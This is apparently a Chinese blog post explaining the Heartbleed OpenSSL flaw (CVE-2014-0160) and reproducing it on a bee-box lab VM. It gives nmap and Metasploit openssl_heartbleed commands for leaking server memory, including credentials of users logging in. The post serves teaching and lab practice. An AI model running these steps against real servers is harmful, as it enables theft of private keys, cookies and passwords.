【漏洞】——心脏滴血(CVE-2014-0160)

漏洞范围:

OpenSSL1.0.1版本

漏洞成因:

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

心脏出血(英语:Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。它于2012年被引入了软件中,2014年4月首次向公众披露。只要使用的是存在缺陷的OpenSSL实例,无论是服务器还是客户端,都可能因此而受到攻击。此问题的原因是在实现TLS的心跳扩展时没有对输入进行适当验证(缺少边界检查),因此漏洞的名称来源于“心跳”(heartbeat)。该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多。(百度百科)

漏洞危害:

如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。


漏洞复现:

环境:本次环境使用 bee-box虚拟机(已集成该漏洞环境)进行测试。
bee-box虚拟机下载:链接

1.确定目标及端口信息。这里存在漏洞的靶机端口为8443。

2.使用nmap 的脚本进行检测漏洞是否存在。

nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.224.131

由下图检测结果可以看出存在心脏滴血漏洞。

3.github上也有一个项目,是专门检测心脏滴血漏洞的。链接点这里
本地环境试了一下好像不行,大家自行去分析吧,这个不是我讲的重点。

4.使用msf进行漏洞利用。
a) 打开msfconsole后,查找heartbleed模块:

#msf>search heartbleed

[图片上传中...(image.png-be8875-1514368932518-0)]

b) 使用第一个选项

#msf > use auxiliary/scanner/ssl/openssl_heartbleed

c) 查看需要设置哪些选项

#msf auxiliary(openssl_heartbleed) > show options

d) 这里我们需要设置RHOSTS,RPORT

e) 设置verbose,这个设置要设置成true才能看到泄露的信息

#msf auxiliary(openssl_heartbleed) > set  verbose true
(此设置主要是为了显示整个过程以及leak出来的数据,如果没有的话只显示如下图结果)

f) exploit

#msf auxiliary(openssl_heartbleed) > exploit

g) 如果有人在正在登录该web应用的话,还可能可以直接抓到账号密码等信息。

 

原文地址:https://www.jianshu.com/p/08600e2f4530

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值